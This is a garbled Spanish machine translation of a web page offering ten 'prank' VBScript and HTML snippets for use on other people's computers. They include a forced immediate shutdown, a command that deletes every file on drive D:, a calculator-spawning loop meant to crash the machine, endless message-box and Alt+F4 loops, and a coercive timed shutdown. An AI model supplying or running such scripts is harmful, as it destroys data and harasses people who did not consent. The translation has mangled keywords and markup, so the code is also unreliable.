Código de manipulación
Código 1
Abres el cuadro de diálogo de chat de tu amigo, luego escribes el apodo de tu amigo en tu QQ y reemplazas el xx en el código a continuación, puedes personalizarlo para El número de veces los amigos envían mensajes QQ (el número en el código cambia a 10).
El código es el siguiente:
En caso de error, reanudar siguiente
Dim wsh,ye
set wsh=createobject("wscript. shell")
para i=1 a 10
wscript.Sleep 700
wsh.AppActivate("En chat con xx")
wsh .sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "s"
siguiente
wscript. quit 02
Código 2
Acabo de usar este programa en la máquina de recuperación de libros de la biblioteca de la escuela. Mucha gente tiene problemas con él.
do
msgbox "¡Eres tonto!"
bucle 03
Código 3
Abre cien Diez mil calculadoras hasta que se estrelle.
set wsh=createobject("wscript.shell")
hacer
wsh.run "calc"
bucle 04 p>
p>
Código 4
Apague la máquina directamente.
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00", 0, verdadero 05
Código cinco.
Eliminar todos los archivos en D:\.
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\* .* / f /q /s"", 0, true 06
Código 6
Ventana emergente constante
while(1)
msgbox "¡Jaja, estás jodido!"
Bucle
WSHshell.run "cmd /c ""del d:\*.
Bucle 07
Código 7
Sigue presionando alt f4 (abre cualquier cosa para cerrarla).
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "{F4}"
bucle 08
Código 8
Presione la tecla Enter 500 veces (el código anterior mostrará 500 cuadros de diálogo en la computadora del corredor.
(donde hacer hasta s=500, 500 se puede cambiar a voluntad).
dim s
hacer hasta s=500
s=s 1
msgbox "Hermano, presiona Enter 500 veces por mí" , 64
loop 09
Código 9
Si se lo envías a tu amigo QQ y no lo recibe, si no lo ingresas, te Soy un cerdo, la computadora se apagará dentro del tiempo que establezcas
El tiempo que configuré es de 3 minutos y se cancelará siempre que lo ingreses, por supuesto, si no lo ingresas. hay una manera de cancelarlo. El código es el siguiente:
en caso de error, reanudar siguiente
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c apagado -r"
WSHshellA.run "cmd.exe /c apagado -r -t 180 -c ""Di que soy un cerdo, don No digas que soy un cerdo y me apagues por un minuto, no me creas, inténtalo"" ", 0, cierto
tenue a
do while(a lt; gt ;"Soy un cerdo")
a = inputbox ("Di que soy un cerdo y no te cierres, vamos, espolvorea, di ""Soy un cerdo" ", "Dilo o no", "", 8000, 7000)
msgbox chr(13) chr(13) chr(13) a, 0, "MsgBox"
loop
msgbox chr(13) chr(13) chr(13) "Debería haberlo dicho antes. Dilo"
dim WSHshell
set WSHshell = wscript.createobject( "wscript.shell")
WSHshell.run "cmd.exe /c apagado -a", 0, verdadero
msgbox chr(13) chr(13 ) chr(13) "jajajaja, bien portado" 10
Código 10
Código de efecto de manipulación de página web, si quieres ver el efecto, simplemente copia el siguiente código y guárdalo todo en un archivo de texto y expanda el archivo. Cambie el nombre a txt para ver el efecto.
lt;htmlgt;
lt;headgt;
lt;meta /Js|--- Un efecto de creación de personas comunes y corrientes muy desagradablelt;/titlegt;
lt;/headgt;
lt;bodygt;
lt;a href="" onMouseover="alert('¿Por qué pasaste el cursor por aquí? ') ;
alert('¿No dije que no hicieras esto?')
alert('¿Para qué tomaste mis palabras?'); >
alerta('¿Sabes que esto está mal?');
Alerta ('¿Qué? En realidad...')
Alerta ('Yo no'; t ¿Crees que no sabes que lo que estás haciendo está mal? ')
Alerta ('¡Bueno, pagarás por esto!')
Recordatorio (' Quiero que hagas clic en Aquí está mil veces...');
Recordatorio ('¿Por qué, estás empezando a arrepentirte?')
Recordatorio ('¿Por qué?) ¿Te molestas?')
Recordatorio ('¿Qué hiciste?')
Recordatorio ('¡Imperdonable!')
Recordatorio ('Está bien, de ahora en adelante Ahora haz clic en 995...');
Recordatorio ('¿Se te cansan las manos?')
Recordatorio ('¿Qué, no tienes fuerzas? ? '
Recordatorio ('¡Me has estado rogando que te perdone!');
Recordatorio ('¡Parece que realmente sabes que estabas equivocado!'); p>
Recordatorio ('¿Esto volverá a suceder la próxima vez? fgColor='White';
window.location.href='mailto: mygod@god?subject=Lo siento, no lo haré ¡la próxima vez! ';"gt;No se permite pasar el mouselt;/agt;
lt;/bodygt;
lt;/htmlgt;